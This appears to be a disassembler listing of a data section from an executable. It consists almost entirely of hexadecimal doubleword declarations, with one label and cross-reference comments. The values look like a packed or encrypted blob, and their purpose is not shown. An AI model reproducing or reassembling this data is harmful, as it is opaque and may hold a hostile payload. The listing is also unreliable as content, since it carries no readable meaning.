3319BD96h, 8E7713C0h, 0D381077Dh, 0EB5200B7h, 0BB002731h dd 0A7AA42Eh, 177903Ch, 3A6AC5B6h, 0D8FF6219h, 75ECE1BBh dd 62AA402Ch, 1A4D1B00h, 9757E8h, 2816166h, 9EF51A6h, 713439h dd 31262D2Fh, 3E1B46A8h, 9C00EC5Dh, 13981D25h, 0E300FA4Ah dd 14620F93h, 40AAE9h, 0DF509CD0h, 0EC82DA98h, 0A953791Ch dd 0BF622069h, 0F01E2F4h, 0D5DE6020h, 12B384Ch, 0F23FEF56h dd 0F404E86Ah, 4900A280h, 0AC75A5DCh, 6099034Eh, 2A02481Eh dd 62E81C79h, 2F249F00h, 0A7C4B319h, 92453F0Ah, 0F1E85730h dd 124D886h, 0F3288893h, 1874EBF0h, 1A00E5B8h, 0AD7E685Dh dd 98A884h, 0D8C7A14Dh, 0E7695CB8h, 11230300h, 6E2ED390h dd 0B00A00EEh, 1B1A8BA7h, 0AE0773FEh, 0B3F59150h, 85200840h dd 3C30004Fh, 4936EF5Bh, 0B0CEDCD1h, 0AAD35Fh, 8AD5028Dh dd 0B8C0EF5Ah, 31DAB3F9h, 0DBE30068h, 59F810DEh, 80A66949h dd 5092FE25h, 80808D33h, 44E29332h, 1F008F11h, 0DD1E4C5Ah dd 0EE8164D7h, 990C042h, 0B18541B3h, 0A0E17900h, 0ED68A645h dd 0B7940077h, 0B6E5494Fh, 5700087Ch, 0C66FA765h, 58D893A8h dd 4A12BEFDh, 0ACE700EBh, 1FA3511Eh, 50A7AB07h, 0BA82F034h dd 23209C27h, 253EE13Ch, 1D8ED830h, 8FE8DB07h, 0B9611A86h dd 400AF95Eh, 0D1B69ACCh, 0EC016779h, 7B1D8FD9h, 0F7F817CAh dd 5D1407B3h, 9A700302h, 0B53588E8h, 95EA7h, 0DE94CCA8h dd 13007679h, 71483D44h, 0F7664Fh, 612ED7FEh, 0ED7A1720h dd 0EC0BC700h, 0B642AA62h, 14B23F5Ch, 8151D630h, 524C9C6h dd 301F2861h, 0D80045DCh, 0D69241DBh, 0F49D039Bh, 2A03FC80h dd 38021FA3h, 0D4423458h, 0A86F6014h, 499401B0h, 200908D5h dd 0C5FAFCB4h, 672DF33Bh, 93F0DE30h, 109174Bh, 26D162Ah dd 3E9CA06h, 0C0638A1Ah, 0F2C22896h, 19EA627Ch, 4BF615Dh dd 0A1859960h, 0FA2A03CEh, 0B9B679BFh, 0BE61CC01h, 97F66F65h dd 68E0A021h, 0F0CE500Fh, 0F82C612Dh, 0E8F752F4h, 5BF9C8C5h dd 4CB62934h, 6029B770h, 237A508Bh, 0D9072D4Eh, 8F0D4582h dd 0DCDBD280h, 0A330149Bh, 63120CE2h, 181818CDh, 8444DA31h dd 1841ED4Fh, 708B411h, 0BE10CE42h, 0CC1B858Bh, 80BC0C02h dd 301F24D2h, 88BEE62Eh, 7084CB73h, 57218464h, 5F108D2h dd 4FA84347h, 44B92804h, 5A21C9ABh, 576F082Ch, 0BB8524C8h dd 530C0AF0h, 9C089478h, 0BD6237C8h, 0B18B10DAh, 8A040CA0h dd 60675484h, 84D4223Dh, 0D654FB54h, 0FF188B50h, 379CC40h dd 0D3AF914Dh, 0F6E112E8h, 86247155h, 9BF76918h, 0D13A3031h dd 425FDF78h, 8EBBB800h, 74342ABEh, 6B0F00C0h, 6543C245h dd 0AC00898Ah dd 0F1A53196h, 1F1CEE6Fh, 0C136B41Ah, 3A3BAF44h, 0A2D4F4D3h dd 7438830Eh, 0BC9C409Ah, 3890C4Bh, 155C867Fh, 4AB0EE09h dd 0EDEEE3E2h, 3A00D8F8h, 0E1C18D2Dh, 527BC8h, 0F13F8E9h dd 53040C06h, 4D0A8001h, 0D0DDC509h, 3428D0h, 3F4B791Dh dd 55271CD8h, 3CEB8E00h, 62B33165h, 8F2C0043h, 0F5BBCA0Bh dd 90CA091Eh, 0C1F81C3Fh, 0F821F217h, 9F29180Eh, 0DB3DB0E2h dd 0F4FB1400h, 2EF55778h, 0A450C0CFh, 0F94C527Dh, 450CC200h dd 411CEF35h, 0FB2C143Ah, 7C008479h, 63830AB0h, 80EB87ACh dd 426E7B96h, 0C304C80h, 76A6ED2Fh, 0B4004E50h, 58EB757Dh dd 0C050077Bh, 0A8EFA29h, 1E188B4Bh, 48693F79h, 0A13900A5h dd 67D04C7Fh, 361CBB2Bh, 750086F7h, 0F0D5BE9Ah, 34430028h dd 0E711429Eh, 36006993h, 7DCA82FAh, 83C1F9h, 0EB4D4F43h dd 0CF2C3F74h, 0BA508F00h, 0FA0E5A55h, 8AF67Ah, 0C713DFDAh dd 8D7825AFh, 99696C00h, 0EE434107h, 0C2BA005Fh, 0A661D871h dd 0BB0A3690h, 68355D9Ah, 80467E0Ch, 807043ACh, 0DF14DAEh dd 38C74827h, 41771C00h, 4B72BE7Dh, 0D29D2F00h, 0CD604F16h dd 0BA6F2A82h, 0C73C06C0h, 0A8FBB77Bh, 4781C12h, 88091001h dd 0A08019A3h, 8D165654h, 8188C79h, 9AE0BC9Eh, 3EA14881h dd 0DEBB1E1Ch, 353DFE3h, 7421D5A2h, 98EA203Fh, 2A309327h dd 6B880024h, 2CC660FFh, 3B0E0D7Bh, 0CAF8A274h, 0D7C0843Fh dd 18C14031h, 900D4838h, 60008AAEh, 4FEB8B2Ah, 7089503h dd 0D4A43867h, 0CC7C470Dh, 0CB24C151h, 0ED827C37h, 410E4492h dd 94D81794h, 778E82Fh, 0FB87EA89h, 4802C98Ah, 8520BB56h dd 1F94B04h, 89798F2Dh, 50920FBCh, 0CD334FC8h, 0A42592A0h dd 40C1B30Eh, 38CBC86h, 1DBE4077h, 82E32C84h, 647F880Ah dd 0E0609480h, 0BF28CBA3h, 0B4008083h, 811FA9C1h, 904DAD8Eh dd 2B2A0010h, 69538340h, 0C20A1184h, 0A42EA0A2h, 500B180Ah dd 772FDD00h, 13C136EEh, 27E0165Bh, 3E692708h, 956B01DFh dd 2427F41Bh, 0DB033274h, 380C0A93h, 0E0D0D32Ch, 38972A74h dd 7731F689h, 805312E9h, 0D4AEA5B1h, 0A00579D5h, 0EF1530h dd 0F8CFE54Bh, 0ADBF5E1Bh, 0E7569200h, 2A4620B9h, 59D7EAFh dd 21529B2Eh, 396DB065h, 98C2B003h, 903E77h, 0E6B11F30h dd 9AD1BF6Fh, 15888E00h, 81FF705Ch, 9B8B0EDBh, 80203391h dd 0FEAA6A62h, 0DCC0820Ch, 0D571CCh, 52742616h, 0D912E528h dd 0AA35A51Ch, 65DB0F83h, 22B7D1C5h, 2A7A2840h, 0E416009Ah dd 0CB536744h, 1009B23h, 0DD5C354h, 0DAD306h, 9F768049h dd 97D1A218h, 6F370A00h, 90E07F8Bh, 52730087h, 2559C2Ah dd 0EA1C1D50h, 0D21879C0h, 734084F8h, 0E73F03D1h, 0F6A43AAEh dd 124200A4h, 0E0B7C6B4h, 88DB0080h, 1A6B9F51h, 0D9E4AC06h dd 500C9A26h, 313D4822h, 6C9C80FDh, 26AFCFA7h, 1AAE03B6h dd 23B7FF54h, 7B6D1EC0h, 9BB4B850h, 0ED02EB7Ah, 1C8ED7CDh dd 0DBD6802Bh, 1499C6C7h, 849DB088h, 4F09500h, 14C2BDEAh dd 0A6C4D101h, 12D47F30h, 5A66EC40h, 9EE061Eh, 0D81DE381h dd 57F6B0C2h, 7A93006Ah, 40EFB86Ch, 2D0CE8C4h, 55D9AFA0h dd 0F40074F0h, 0C2C99116h, 30A43079h, 0E92220FFh, 94126522h dd 84E6AFEh, 7F586161h, 84405ECAh, 6130ADFh, 93C14221h dd 66223115h, 7C980C61h, 90787EA8h, 82B9D406h, 11289ED2h dd 79DAF4C8h, 4A45A000h, 21649C29h, 0CAFE005Eh, 6AA3F39Dh dd 0C20385ADh, 0BA6E9A2Bh, 3D417B12h, 0B7A892D2h, 8CDA3C08h dd 0A7911A23h, 0D7A9283h, 38F1C0D5h, 563A245Fh, 0C04C0743h dd 78CCB6B1h, 170500DBh, 6B348167h, 48001DB0h, 366DF36Ch dd 0EE43965Ch, 0ADA400B5h, 0F8E34935h, 8149EEB6h, 99D3064h dd 1834B510h, 19259B8Eh, 812AEF05h, 4A00A0ADh, 777BD25Bh dd 0E0C3C6E5h, 4C9285h, 3F83CDBh, 53EFD055h, 395EEE05h dd 0E8035438h, 8862A2D3h, 3EE4372Bh, 0EAF4E9D9h, 0C6DE0478h dd 9C9AFA16h, 4E2A6420h, 0FE20C8C3h, 43E80492h, 41D7371Bh dd 0F142D424h, 0C5E01131h, 19A00C9h, 8EC2C876h, 4930924Ah dd 13F2C81Fh, 4B00356h, 949E9799h, 0A79A5000h, 6F1AEE21h dd 0F8F638B6h, 10F7BA98h, 0FE00D222h, 0C888F2F4h, 5496DF69h dd 62E930AEh, 0D186B185h, 3F064880h, 21022A27h, 0C2AF1F1Bh dd 0DA1848DBh, 2E802DEh, 80D90DF3h, 416BCBAh, 806F1626h dd 0EF6D909h, 0FC7A37Ch, 7A21D623h, 0E8DF0025h, 493D3C89h dd 0FE74F69Ah, 0A79180FFh, 11F5F8EBh, 21C3067Dh, 61DA9A36h dd 56BE39h, 1590261Bh, 58B43A6Eh, 32127B3Eh, 1D12B5h, 2E5D9D08h dd 99009849h, 86C6CA39h, 0ECC2C4h, 6304761Fh, 0BC1BEF69h dd 93B0A602h, 4AD3B710h, 1488B2Ch, 9685311Ah, 0C9806EE0h dd 98A1F908h, 0C89A8925h, 2F00975Eh, 100863EEh, 14DCFDE5h dd 24485C77h, 459BFC00h, 0DA512D31h, 0FE242084h, 83160200h dd 0DE4C19F0h, 1EB6004Fh, 0E42CA01Bh, 2B013201h, 35ED7346h dd 0DD3120BAh, 0E36ED883h, 0CEE86B62h, 480CA542h, 0E0DAE1A9h dd 0EBB60A04h, 40B47471h, 7DCEF8FDh, 91188C21h, 0E0050048h dd 4DC5CCF8h, 4F7873ACh, 0F46F821h, 0EC1C1F06h, 0C5287Ch dd 118239FDh, 56901DDh, 0C3FA9604h, 0F080450Ch, 0EEC02CAh dd 6FF4A2C8h, 0C0B60704h, 412039F8h, 1000DD48h, 0D6C01842h dd 0E482E1F8h, 9B6422B0h, 304ED799h, 36E2F8E0h, 8F309A19h dd 93BB18B3h, 0D4B6538Eh, 0D7837D14h, 0B054C414h, 0B380C0C8h dd 40752D5Eh, 34D7043Dh, 0CC21F0C1h, 580EBAF8h, 60C0C639h dd 0B569D3CFh, 456E2420h, 5D3B0134h, 300E5CC9h, 0ACEE6748h dd 47287774h, 1B00C4D4h, 25BDBEB7h, 7A5CCBAh, 0A2BBBF75h dd 59C44065h, 96509DE5h, 0B2195A4h, 2788017Dh, 44F9CC8Bh dd 0A1A421A0h, 0EADD019Eh, 5C0B70h, 0A24E9F22h, 8E77314Fh dd 0BB996960h, 809481h, 18B99790h, 78F4E40Dh, 3F57A115h dd 555000A0h, 0AE64B7BAh, 8C32004Eh, 0DD7892BEh, 0EF28458Eh dd 0F401946Fh, 0DEA71AD3h, 9181F7A2h, 4CA6B64Bh, 749F8FBh dd 0DDB2630Fh, 0CCE2C36Eh, 6153B8B0h, 9AC200BEh, 9587627Dh dd 0F928051Dh, 7005A181h, 6778A322h, 82527800h, 1189DD18h dd 10959B34h, 1B00A74Eh, 0B6AC8EDh, 0D37807C7h, 6D3BEA00h dd 95BBB668h, 5601D9Fh, 893F87D6h, 0FC7CC007h, 0F21CBADCh dd 3980BFE8h, 57615147h, 34E0A065h, 4ED0A0D0h, 134C00B1h dd 36F9EE0Ah, 0F12E92A5h, 0A1000855h, 2470BFC9h, 8A340023h dd 0B0BA6F9Fh, 0E5F29A2Fh, 85627100h, 0A6F10665h, 58849111h dd 3869EA1h, 0A9442DD7h, 6AF025B5h, 97022783h, 0AAC38981h dd 65684856h, 0CFD0007h, 0AB04B552h, 4E0308EBh, 1B4715Dh dd 0D0F9D32Dh, 8CE927h, 7989477h, 2FBA2613h, 0C97FF2FCh dd 14322938h, 1F6D734h, 0E6506716h, 0E8C01DB8h, 6C4A4DDCh dd 585C0292h, 6C6C1531h, 0FECB20h, 638245A7h, 734DC8AEh dd 0CAE5EC01h, 884E048h, 0C8546D8h, 9F75B19h, 0C0DF430h dd 60A41564h, 302D620h, 16772FCh, 65B0A21Ah, 7638EB5Fh dd 1D9B0018h, 0C250E946h, 6B50A064h, 0EFE72293h, 52782007h dd 16393C1Ch, 4AAE00E8h, 20DD3982h, 0DDE36656h, 233061DCh dd 3048A230h, 27005058h, 3F527C11h, 257EFE9h, 1BF073FFh dd 0F4488846h, 100844Dh, 0B0C49038h, 6BE18A3h, 59DDE41Fh dd 53002EBAh dd 0BBA5DB5Ch, 37AC385h, 4F860B1Bh db 0BFh byte_530055 db 0B4h, 84h, 8Ah ; DATA XREF: ___:off_437A54o ; ___:off_437A6Co dd 0FF3DC088h, 13F41431h, 7638EBDh, 0F0BB947Bh, 0FB61478Dh dd 48ED110Eh, 2856C010h, 3A828A6Fh, 79C8AB91h, 8A22A00h dd 44D7A93Dh, 7D543403h, 0D88BF88Ah, 35E040h, 76E1D5DFh dd 316832A3h, 455130C0h, 0E32D8586h, 0FBE014F9h, 0B916070Ah dd 830378CFh, 80F7390h, 15CC8Ch, 340F7CDBh, 0CB90F2Fh dd 5600D670h, 337B9749h, 446C1503h, 80D24648h, 117688h dd 9BFBF76Ah, 0E21C64F9h, 98E9D31Eh, 0CC68B800h, 56230D9h dd 3FFB45Fh, 34840870h, 0E0163280h, 84711Bh, 0BB69FDDDh dd 0DE31EB0Ah, 120E1107h, 0CCA0CDF4h, 3D1415Bh, 648965D6h dd 40001DE1h, 0D5438559h, 0D4B29Fh, 9A4C273h, 0EC700D02h dd 82B12800h, 0F0340CEh, 879F0078h, 0E1A7660Ah, 90A02EAEh dd 0B9508A09h, 65001494h, 0B5FE2F39h, 2FAE9A8h, 331FBDBCh dd 57E09DD0h, 3E1823F0h, 9B30678Fh, 6E7F0318h, 9C917733h dd 74EB0195h, 437CA4B7h, 55E0C780h, 4403AD71h, 16BDAE68h dd 1408C05Ah, 0E27000BAh, 47F41702h, 9D0C4F2Eh, 0E01C29CAh dd 25A0A4F2h, 5FF07CC1h, 0A0F8F029h, 780DB15h, 8B36CED5h dd 0B7F785C1h, 115EB30h, 0EEA94C79h, 247184EBh, 0E5006204h dd 0BBDF0F17h, 2A9576B8h, 1346B5Dh, 480B7CC8h, 0C28ECAFFh dd 58559D24h, 808F1F3Ah, 90402904h, 30463BF6h, 0B89A8250h dd 0C41FF71Dh, 2372A5C0h, 3B34BEFAh, 0B20ACE60h, 0C09C6252h dd 77C16D21h, 2086B8E8h, 49070B90h, 34DD6EEDh, 0DFEE1550h dd 0A5858C6h, 0F10E5607h, 19CBC375h, 0C8645829h, 860B9058h dd 0EC941F00h, 0F2BDDBBAh, 0A01401B6h, 4BF98453h, 0F7C1FB32h dd 0C8A8F4FDh, 9C2C1824h, 49C0D564h, 48C6EAA0h, 7869C50h dd 6E0A20F2h, 0BA87B8ADh, 2EC6CA06h, 0EC5A09B0h, 5E00E03Eh dd 25C17DB3h, 0E5503F70h, 0B10008C4h, 84E2BCC0h, 32F26A6Eh dd 1B0852D3h, 0EC08BC80h, 0AC0016F1h, 85900588h, 92681EE2h dd 382E0030h, 6669E704h, 8100FAE8h, 37BE41BFh, 0FC0A577Fh dd 97C20443h, 90AC2F87h, 0E7885178h, 6C759C1Dh, 4E0038E4h dd 1909FE86h, 13E9CBE2h, 2FE5D70Eh, 357444C7h, 3D401EF1h dd 10F20B17h, 1ACE0040h, 833EC896h, 5B0086EDh, 0AC75E0F6h dd 7C82D450h, 62AD017Bh, 0B6DEB42Fh, 56BBDBC3h, 9C7729F8h dd 8109449h, 4051DD85h, 7C165572h, 0B7B3A908h, 0CA918Dh dd 2B6E7E9Ah, 2607C831h, 35CF348h, 3C8C20E3h, 70AA9389h dd 5301A174h, 63EC7739h, 85E423E1h, 0D056009Ch, 7802DC48h dd 0B4A01C26h, 0F04D0FA3h, 903B0C80h, 98781948h, 0F72E00B3h dd 8EE35D55h, 0C4090EA4h, 801F40E0h, 0F86FF2D4h, 9B9709C6h dd 0A8206E91h, 0CC6B559Dh, 0B50F5000h, 0A5974E6Ah, 0D5613BDh dd 0DC6C020Eh, 9880D058h, 4147BA0Ah, 0EFC87154h, 0AF00A09Bh dd 7748047Ch, 10F84297h, 7A1DD0h, 56603662h, 8CDB2B52h dd 78F019C2h, 96F8802Ch, 3F910F6h, 64DADE12h, 5BB8C284h dd 7BB891E8h, 0B0CBC080h, 3A48C0D4h, 5039A44Bh, 2ABD1056h dd 740980A2h, 0F7CCF58h, 0E9D8404Ah, 12B6C33Eh, 2806258Fh dd 1F0F9206h, 51951870h, 2E98A813h, 0BA1D8A00h, 9030B2C7h dd 0AD693F43h, 0F7BA439h, 0F1190A88h, 0BC362D40h, 1205BDBFh dd 802057B0h, 7C71BC27h, 2C20DAC1h, 0C23F078Ah, 3023CF69h dd 590F8B96h, 0C00B54B0h, 751ED35h, 0CA634130h, 0A37E05C9h dd 9A5B7ACDh, 0C0838898h, 22AF1737h, 0B3D33200h, 0FB85E388h dd 83AD1D56h, 0AC491479h, 2C435FBCh, 0BCDB1C07h, 0D119A0D0h dd 4307DC06h, 0AD3BA26Fh, 0C34CCED0h, 951800F5h, 0E9DA3776h dd 1303F8C6h, 0CF0366BBh, 573CC180h, 85378040h, 1BAD00AFh dd 0BDB2F80Ch, 0D500A83Ah, 967A0105h, 7EC229h, 0BB1626EBh dd 3F88DE5Ah, 80230300h, 0E5A3D8B9h, 59AB05A5h, 851D5C8Ah dd 491E00FCh, 74BB8C7Fh, 410061E6h, 530375BAh, 7A6E82D8h dd 0A05D0039h, 3B1BCDA7h, 3F00BF0Ch, 0FA5A5036h, 0EB16AD7h dd 25423CB6h, 20268027h, 59B73986h, 2F3D0D03h, 0AEC85Fh dd 74AB4C21h, 2AF9B086h, 0C50EE5B0h, 605C9DE0h, 0F82E57B6h dd 92870114h, 38E27206h, 7AF53042h, 9BD7B007h, 830C039h dd 0FC6EF457h, 958100B4h, 6D8EFDCFh, 10032F0Bh, 0CAD035D7h dd 43BB4Eh, 29F28340h, 6CFBAFCCh, 35ABAC00h, 0E1221B95h dd 0C630005Fh, 64C8F7E9h, 611DAF05h, 83CE0827h, 57A440D4h dd 3C1EB4C6h, 0A8941007h, 0A2038068h, 5EF4978Dh, 0E916CBB0h dd 0DC766918h, 18985D70h, 0F8CEA9A4h, 0D4601A3Bh, 0D8372B18h dd 4FE80036h, 0C9CD89BEh, 0B700204Ah, 550127Ah, 0C3287860h dd 59919D8Eh, 0A35852D0h, 8AD9B33Eh, 4DA0FADh, 0C07BA760h dd 1D3715AFh, 0D2BD0CACh, 570030B6h, 0B83C9B74h, 649863h dd 459AEEAEh, 169001CDh, 4A0CF350h, 0E13B9942h, 0C640FCBDh dd 283BD222h, 2118F1F9h, 300697FEh, 28195F3Eh, 4318269Ah dd 40F24CF5h, 62104918h, 0CE2A8228h, 0ED9E0824h, 26049D61h dd 7F45346Eh, 0C2180565h, 540C040Ah, 0A55E2249h, 3045A524h dd 18040BFAh, 76213B6Ah, 5D18814Eh, 272AFB04h, 0AB9E60h dd 23BFFB0h, 0D473ADCEh, 5AE5A8A0h, 1BD98103h, 0E1158367h dd 0C4503D9Bh, 392903E7h, 0F8014422h, 1E4608BBh, 0FF7C0058h dd 0D0EE002Eh, 0AFC6ACCDh, 4F0096A0h, 5998B453h, 697910h dd 7576D6B3h, 95AB418Dh, 0DC51E107h, 9BC06BBCh, 0E24A546h dd 573A5E9Ah, 7732C03Dh, 5C81CB78h, 0B245AB00h, 8276726Bh dd 3E4CA8D7h, 43CC00DFh, 4832B6C7h, 4D00BDA9h, 0FCDC830Bh dd 3985981h, 0A7731186h, 68D8E532h, 7D7BB41Eh, 0CB2CDD00h dd 0E17AEFA9h, 0FC7E071Dh, 502EA4E8h, 0AEAC29EDh, 5A57C9E4h dd 13A1101Ch, 0FC4A1BF1h, 60002D0Fh, 0D816486h, 34EC9552h dd 7CA83616h, 68EE19C0h, 8ED98300h, 2D6A3843h, 6393EA84h dd 5A6129ADh, 36E814F0h, 0B856A700h, 812F2A7Ch, 0DF0400B1h dd 2DCB41D6h, 0FF000F80h, 9C5DB9FDh, 5A7C13h, 85C8993Bh dd 259EC2Ah, 0F4692800h, 1B193562h, 744600D9h, 0B104D327h dd 3C73A790h, 72426D00h, 92B08B07h, 33AE0035h, 8CD3D29Bh dd 0D7079C76h, 0CC631E24h, 0F5034F90h, 5E110079h, 869B3D4Eh dd 0A8107526h, 0E6753F83h, 9B0C444h, 1C083BFAh, 14D45597h dd 4CC8899Dh, 0DF262CA0h, 52DC8500h, 2F759EAAh, 68D70121h dd 39498FA2h, 0A0FFC42Eh, 0D1377900h, 3F90AEC6h, 3D4800B0h dd 0C622B5Ah, 0F6000599h, 2E389BBEh, 434231h, 5D7AB977h dd 60500115h, 99004B7Fh, 692E29F1h, 73C730h, 3392AF81h dd 9116A620h, 0FF14EA01h, 0A276442h, 76173081h, 40395C72h dd 4CB15FB8h, 949E2100h, 63FC5875h, 2F0E0C12h, 0B8D02470h dd 6B338F00h, 9A34299Ch, 0F5171838h, 63F6403Ch, 44700207h dd 0E06ACD72h, 32794700h, 583C1F3h, 927595F4h, 80AC2B65h dd 1760E7Dh, 60670FC0h, 7C00AEC5h, 0B15198Dh, 97C93100h dd 48DD8E0Ch, 9F490098h, 210D7868h, 1B29ECF8h, 305CF004h dd 38E83970h, 0B0017521h, 0C725FC5Fh, 3422A044h, 29C06D8Fh dd 9862F006h, 0B2EFDA00h, 20F7A71Dh, 517D4Fh, 6F03B828h dd 0BBAC1487h, 0B179B400h, 0F323E6DFh, 6AD30042h, 39F1EBDAh dd 5B01AAD7h, 626DCCFFh, 90804C06h, 7A483A38h, 0BD3C0B61h dd 0E6800DDh, 0A9866ECAh, 84AE97h, 8BA757E0h, 14FF9DEh dd 0FF937C00h, 53BCB31Fh dd 0B6B00DAh, 1D348588h, 0C3018C63h, 0CFDC4D23h, 8AD81566h dd 1F5F02A6h, 0D08E4559h, 0A0C7044Bh, 4CF5FD75h, 0D2A68F1Ch dd 1AFA6E80h, 520988EBh, 2B48D0CAh, 81384F07h, 0A8298061h dd 64917E37h, 272A5C5Ch, 58C00848h, 2909A101h, 9F6C8C0Fh dd 6A4F6002h, 0B8BE9773h, 0E59404E3h, 9FA417FFh, 6838350h dd 9ABBF8A4h, 66E8DBh, 733B9586h, 0CE08C471h, 0A6901205h dd 9B0E2E3Fh, 9AD020B8h, 0F6BB65h, 2264C9F3h, 4669A420h dd 0ABFE5200h, 92B73FDBh, 0E45D2472h, 22C701C0h, 0F9CEF484h dd 0E5708104h, 4C2C2618h, 0F70EE830h, 0E4F1CCh, 55C3D9D0h dd 0CBFC85E8h, 0F544F701h, 0D6DCDF0Bh, 24FAEC4h, 0B1902C27h dd 44979442h, 79CAE50Ch, 0C2A033Ch, 0E182069h, 0C8EBC0EFh dd 0AA0166E4h, 4A804B72h, 7BCCDEBBh, 31733974h, 66EDE801h dd 0E036D016h, 1B635EEBh, 0C078AD10h, 80E88CE0h, 0DF07496h dd 45215360h, 2033931Ah, 1D3CE4A8h, 65901878h, 60103930h dd 0AE3E78EEh, 0FC00ACA8h, 900930C0h, 3BD9CD2h, 97C15042h dd 0EF92C5Ch, 0EB29D0C2h, 7E685095h, 28E90067h, 5C090B44h dd 3C0020B1h, 8AC8D502h, 0F091C6E8h, 107A0057h, 0B607E20Fh dd 0C1F40AADh, 8101463Ch, 0F01D13C3h, 8EEC9A4Fh, 75360083h dd 0D660FD39h, 263EC80Bh, 5E600CAh, 46C4CF11h, 629400BEh dd 4F3DBD25h, 837919B6h, 86748C3Bh, 905F9A77h, 80010048h dd 799EFADCh, 0BE1D450Eh, 0A71C9667h, 92D32B47h, 0AA861F80h dd 0B7C11D42h, 72F54038h, 0DBE7FB3h, 0E67D600h, 8E7A3623h dd 0E9B01D5Dh, 10C303C0h, 0E8A35693h, 61CE98C0h, 0AB781771h dd 0F2748600h, 0EAE38D37h, 7D421F06h, 4F8E03BEh, 0F5882130h dd 927CEEA3h, 700F07E8h, 2C1231C5h, 0F71025h, 0F4D4E4F2h dd 7A6B3DDAh, 72B2B900h, 5968D6ECh, 0D1F3EF62h, 0DAD0AEBBh dd 0E8F9005Dh, 0A38DBAEEh, 3B05233Eh, 7D6D12B2h, 0C0A61423h dd 40D2C25Eh, 6F008584h, 0E3F16436h, 60994C1Fh, 2DB208E2h dd 0FD3A6DADh, 5F8C00FBh, 2E48B8A1h, 0E8C73015h, 259A0439h dd 0F3EC130Eh, 420C8226h, 2D0630E6h, 0F90CA11h, 8410A480h dd 0D33A4C76h, 0C13852BBh, 1AF4C448h, 36FE0400h, 3022442Bh dd 0D2834284h, 5CE42958h, 2C76BA02h, 601355D6h, 56F82F5Dh dd 6863500Dh, 60BCA888h, 0C5B93984h, 722D1D40h, 389A5768h dd 76B899C0h, 3075AC2Bh, 64CBE88Ah, 0B54AC461h, 2500184Ah dd 0F2D940A7h, 6405303Dh, 2DF8294Fh, 9F3C4460h, 69D310A5h dd 0EBC0DC17h, 0D0CC4A77h, 600CE87Ah, 6F4CC8D7h, 0B4A51358h dd 0EC5070B0h, 350A491h, 4A7555A4h, 814E92Ch, 33D4086Ch dd 2B13ECCCh, 848E510h, 8B468E8Dh, 2441AC0h, 81D788E6h dd 790B4C50h, 50B28CE0h, 88EACC6Eh, 4DE8FD81h, 0B00E50A5h dd 2CE44A89h, 0BB7914BBh, 7088E6A0h, 0C5046B5h, 0C871D184h dd 1EE074FBh, 6704DACh, 0E8E124ECh, 10722131h, 2895731Fh dd 0C9149C5Bh, 0C14C0B2h, 0E41DA027h, 0A2CC0A59h, 0C210E054h dd 0C642949Bh, 0F8605800h, 4532E0F1h, 6B3ADC70h, 0AF400F54h dd 3380014Bh, 0B09DC88Fh, 68093E8Dh, 69F47A86h, 0EE0270Fh dd 0AF1F80CFh, 5F2FB3h, 7C41EA05h, 79B1D025h, 7A52CE00h dd 0DC3BC2E1h, 0FFB41CC0h, 604918F1h, 7B05DAE0h, 399C80EDh dd 0FA902820h, 0B6091CEAh, 99086158h, 0F4610CC1h, 5CFB4098h dd 0B810B744h, 0B9C0EBFDh, 0A0F219A3h, 70F9BC0Eh, 3847CA5Eh dd 0B59E12C1h, 0AC32D918h, 98CCB0A1h, 0C763E34h, 93DC2D7Dh dd 0B4003410h, 91C31A44h, 0A145988h, 0CDC17A51h, 0EC56601Ch dd 0C9F238AFh, 0E579880Fh, 0A8A0AAD1h, 0A0250h, 823CC031h dd 0D56A9988h, 0E30A80FAh, 1860CECAh, 3D781AC0h, 0B90340A5h dd 3AA07E40h, 0C042AB57h, 0D3C10A43h, 0E888D49Ch, 0C0CED40Ah dd 0E054C758h, 5FB91C06h, 9AF9DE01h, 0ABE03DC9h, 0CEC0D85Dh dd 0D7DB0029h, 0F319C195h, 3CAE3DD4h, 35290706h, 3280181h dd 3DCD8A39h, 49D7A640h, 5E140416h, 10180F61h, 0C00FBC59h dd 15F1949h, 20C512B5h, 5CDCF939h, 0A038060h, 597279F0h dd 0C89CA0DEh, 49BFE13Dh, 0DC559E81h, 213BB60h, 44098E0h dd 0D0AA1875h, 1199406Ch, 343880A2h, 5400A555h, 0ED4CBE5Bh dd 0BDEF6Bh, 8EFC43CCh, 349F0320h, 0C023C60Eh, 3AC480BBh dd 7F8B07Ch, 0BED4BDCh, 4E30CCFAh, 231EBC74h, 0A30ABE97h dd 33631CA1h, 6684B026h, 2BE01810h, 0D6E3304Bh, 60095221h dd 0B19342F3h, 0E001AA06h, 296811CBh, 8314EC83h, 58A1BD1Ah dd 0EB5FE4D8h, 106D4B29h, 73D3083Ch, 0BA8B80ADh, 0A3830916h dd 43CA4A0Ah, 0D960184Ch, 6071450Ah, 17ABE034h, 6356CA4Ch dd 99670050h, 0F74E389Dh, 0C74B105Fh, 5A9E0BAh, 917500CFh dd 836B5FF6h, 28AEF9C3h, 1013D3Dh, 5FF566E3h, 0F9E8470Bh dd 0A841FBA3h, 389B8283h, 0EEA119E3h, 0BAE4DC4Bh, 3C8408CAh dd 9DACCDC0h, 412B8851h, 302338C3h, 0BD43A1D0h, 493C6400h dd 582EF8E9h, 0F8A504F0h, 65B970Eh, 7E48AAF7h, 0F2280ACBh dd 0E09C0523h, 8BADC8C3h, 4EB29C0h, 294490E7h, 40505601h dd 0B50E2F40h, 601CCA4h, 2CA4E609h, 0D63017ADh, 0E18A433h dd 0D1D21F15h, 0AB50C5E0h, 9E3E7283h, 9DB800A4h, 0F8678604h dd 0B7E23C23h, 0D6E08403h, 6AA0A490h, 6D30431Dh, 4973600Dh dd 606C91C7h, 0C1D0E2B2h, 4BC0F861h, 43D96635h, 1D1D6CE4h dd 767BC3h, 0E36FCB63h, 40742C44h, 0F4182401h, 2F35C309h dd 2E1BE8D3h, 0DA043CBCh, 16843074h, 30494408h, 0E09E10C3h dd 63FB8022h, 0C35AF0A8h, 62C62408h, 64D1101Fh, 30FC82Eh dd 37F8C709h, 59BB4341h, 0C0776898h, 0BC48CB83h, 9B80E438h dd 90D0B0E6h, 476B024Ch, 5AA49DA6h, 29A39080h, 24199F23h dd 53C86E0Dh, 483098BAh, 465E03E8h, 37249090h, 270CC35h dd 0BE0124BCh, 8E0B8C2Ch, 0A5282460h, 0AA3CACA3h, 45440C4Eh dd 5152B0FEh, 18DFA06Bh, 70CC2308h, 68C24B04h, 401EA703h dd 90CE3AB0h, 4808718Ch, 1EB090CCh, 0B13B9F2Ch, 2B5018E0h dd 3D1D4479h, 31149E73h, 0B328FC79h, 0E2E49Ch, 5E64BC5Bh dd 9CC3F893h, 0D10428A6h, 0A82B1FE4h, 